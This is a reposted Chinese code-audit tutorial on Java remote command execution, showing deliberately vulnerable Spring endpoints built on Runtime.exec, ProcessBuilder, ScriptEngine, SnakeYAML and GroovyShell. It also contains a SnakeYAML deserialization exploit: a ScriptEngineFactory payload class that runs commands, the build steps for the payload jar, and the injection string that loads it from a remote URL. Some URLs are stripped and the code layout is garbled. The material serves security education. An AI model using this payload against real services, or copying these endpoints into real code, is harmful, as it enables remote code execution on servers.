Java代码审计之RCE(远程命令执行)

网友投稿 603 2022-10-03


Java代码审计之RCE(远程命令执行)

​​​​

​​​​Java代码审计系列课程(点我看看哦)​​

漏洞原理:

RCE漏洞,可让攻击者直接向后台服务器远程注入操做系统命令或者代码,从而控制后台系统。出现此类漏洞通常由于应用系统从设计上须要给用户提供指定的远程命令操做的接口。通常会给用户提供一个ping操做的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而若是设计者在完成该功能时,没有作严格的安全控制,则可能会致使攻击者经过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

runtime/exec

访问url为String CommandExec(String cmd) { Runtime run = Runtime.getRuntime(); StringBuilder sb = new StringBuilder(); try { Process p = run.exec(cmd); BufferedInputStream in = new BufferedInputStream(p.getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String tmpStr; while ((tmpStr = inBr.readLine()) != null) { sb.append(tmpStr); } if (p.waitFor() != 0) { if (p.exitValue() == 1) return "Command exec failed!!"; } inBr.close(); in.close(); } catch (Exception e) { return e.toString(); } return sb.toString();}

最基础的Runtime.getRuntime().exec(cmd),直接传入命令即可执行。

ProcessBuilder

访问url为* * @param cmd cmd */@GetMapping("/ProcessBuilder")public String processBuilder(String cmd) { StringBuilder sb = new StringBuilder(); try { //String[] arrCmd = {"/bin/sh", "-c", cmd}; //linux String[] arrCmd = {cmd}; //windows,windos下无需指定 ProcessBuilder processBuilder = new ProcessBuilder(arrCmd); Process p = processBuilder.start(); BufferedInputStream in = new BufferedInputStream(p.getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String tmpStr; while ((tmpStr = inBr.readLine()) != null) { sb.append(tmpStr); } } catch (Exception e) { return e.toString(); } return sb.toString();}

jscmd

访问url为a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc");}

源码如下,使用的是ScriptEngine来对JavaScript代码的调用,最后eval()执行代码。

/** * * * curl * var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");} * * @param jsurl js url */@GetMapping("/jscmd")public void jsEngine(String jsurl) throws Exception{ // js nashorn javascript ecmascript ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");//通过文件扩展名获取: //ScriptEngine engine = manager.getEngineByName("JavaScript");//通过脚本名称获取: //ScriptEngine engine = manager.getEngineByMimeType("text/javascript"); //通过MIME类型来获取: Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);//启动javascript引擎 String cmd = String.format("load(\"%s\")", jsurl); engine.eval(cmd, bindings);}

yml

YAML(YAML Ain't Markup Language),也可以叫做YML,是一种人性化的数据序列化的语言,类似于XML,JSON。SpringBoot的配置文件就支持yaml文件yaml有三种数据结构

对象

写在一行

address: {province: 山东, city: 济南}

写在多行

address: province: 山东 city: 济南

数组

写在一行

hobbyList: [游泳, 跑步]

写在多行

hobbyList: - 游泳 - 跑步

纯量

字符串 默认不用加引号,包含空格或特殊字符必须加引号,单引号或双引号都可以

userId: S123username: "lisi"password: '123456'province: 山东city: "济南 : ss"

布尔值

success: true

整数

age: 13

浮点数

weight: 75.5

Null

gender: ~

时间

时间使用ISO8601标准 ​​ISO8601​​

createDate: 2001-12-14T21:59:43.10+05

使用snakeyaml将yaml文件解析成javabean

添加maven依赖

复制 org.yaml snakeyaml 1.27

访问url为yml 内容时会完成指定的动作。先是触发java.net.URL去拉取远程 HTTP 服务器上的恶意 jar 文件,然后是寻找 jar 文件中实现javax.script.ScriptEngineFactory接口的类并实例化,实例化类时执行恶意代码,造成 RCE 漏洞。

public void yarm(String content) { Yaml y = new Yaml(); y.load(content);}

payload在artsploit; import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.IOException; import java.util.List; public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("whoami"); Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } @Override public String getEngineName() { return null; } @Override public String getEngineVersion() { return null; } @Override public List getExtensions() { return null; } @Override public List getMimeTypes() { return null; } @Override public List getNames() { return null; } @Override public String getLanguageName() { return null; } @Override public String getLanguageVersion() { return null; } @Override public Object getParameter(String key) { return null; } @Override public String getMethodCallSyntax(String obj, String m, String... args) { return null; } @Override public String getOutputStatement(String toDisplay) { return null; } @Override public String getProgram(String... statements) { return null; } @Override public ScriptEngine getScriptEngine() { return null; } }

对上面java代码进行打包在javac.exe下进行编译

创建了jar.exe的快捷方式,注意生成yaml的路径

javac src/artsploit/AwesomeScriptEngineFactory.javajar -cvf yaml-payload.jar -C src/ .

随后将以下内容传递给参数即可。

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[ !!java.net.URL [" ]]]

拼接后url

代码能够与 Java 代码很好地结合,也能用于扩展现有代码

Groovy语法:void groovyshell(String content) { GroovyShell groovyShell = new GroovyShell(); groovyShell.evaluate(content);}

关键词:

Runtime StringBuilder ScriptEngineManager Yaml GroovyShell


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:关于spring 扫描不到jar中class文件的原因分析及解决
下一篇:如何从IP源地址角度,预防DDoS攻击?(ddos高防ip原理)
相关文章

 发表评论

暂时没有评论,来抢沙发吧~